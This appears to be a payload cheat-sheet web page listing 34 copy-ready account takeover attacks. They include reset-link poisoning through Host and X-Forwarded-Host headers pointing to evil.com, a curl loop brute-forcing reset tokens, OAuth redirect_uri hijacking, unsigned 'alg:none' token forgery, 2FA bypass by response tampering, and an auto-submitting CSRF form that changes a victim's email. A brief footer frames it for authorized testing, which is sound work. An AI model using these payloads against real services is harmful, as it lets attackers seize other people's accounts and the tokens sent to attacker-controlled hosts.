Account takeover techniques: password reset poisoning, reset-token leakage and prediction, OAuth/SSO flaws, email/2FA-change abuse, and CSRF chains that bind an attacker to a victim's account. (34 payloads)
POST /reset HTTP/1.1
Host: evil.com
[email protected]Host: target.com
X-Forwarded-Host: evil.comHost: target.com:@evil.com
Host: target.com\nHost: evil.comPOST /reset
Host: target.com
[email protected]&X-Forwarded-Host=evil.comGET /reset?token=... (Referer: https://evil.com)Reset password, then inspect the JSON/HTML response and Set-Cookie for the tokenGET /api/[email protected] → look for resetToken / passwordResetToken fieldRequest 3+ tokens and diff them (sequential, timestamp, or short numeric)for i in $(seq 0 9999); do curl -s "$URL/reset?token=$(printf '%04d' $i)" ...; doneReuse a token after it 'expired' or after a successful resetSubmit token belonging to victim while logged in as attacker (no email binding){"email":["[email protected]","[email protected]"]}[email protected]%0a%0dcc:[email protected] / "[email protected]"@evil.comRegister [email protected] or [email protected] (Unicode/case normalization)Register account with unverified email = [email protected], then trigger SSO mergeGET /oauth/authorize?...&redirect_uri=https://evil.com&response_type=codeReplace your code/token in the callback with the victim's (no state binding)Use a code/access_token issued for App-A on App-B's /oauth/callbackSign in with Google using [email protected] on an app that links by emailDecode the id_token, swap the sub/email claim, drop the signature (alg:none)Leak access_token from URL fragment via Referer / open redirect on the callbackPOST /account/email {newEmail: [email protected]} — no current-password / re-authDisable 2FA endpoint reachable without re-entering an OTP or passwordBrute-force the 6-digit TOTP/SMS code — no rate limit / no attempt counterDrop the 2FA step: go straight to the post-login endpoint after step-1 authIntercept the 2FA response and change {"verified":false} → true / 401 → 200Use a leftover 'remember this device' token / backup code on the victim<form action=https://target.com/account/email method=POST><input name=email [email protected]></form><script>document.forms[0].submit()</script>Login CSRF: auto-submit the attacker's credentials, then plant a stored payloadGET /account/link-oauth?code=ATTACKER_CODE (no state) via <img>Change HTTP/1.1 401/403 → 200, or {"success":false} → true in the login responseSubmit reset-password POST without the old session, observe Set-Cookie auto-loginCompare attacker vs victim sessions/JWTs side by side (session-compare)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 34 Account Takeover payloads for testing Account Takeover (ATO) vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the OAuth / OIDC Attack Wizard to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Account Takeover payloads are completely free, with no account required. Everything runs in your browser.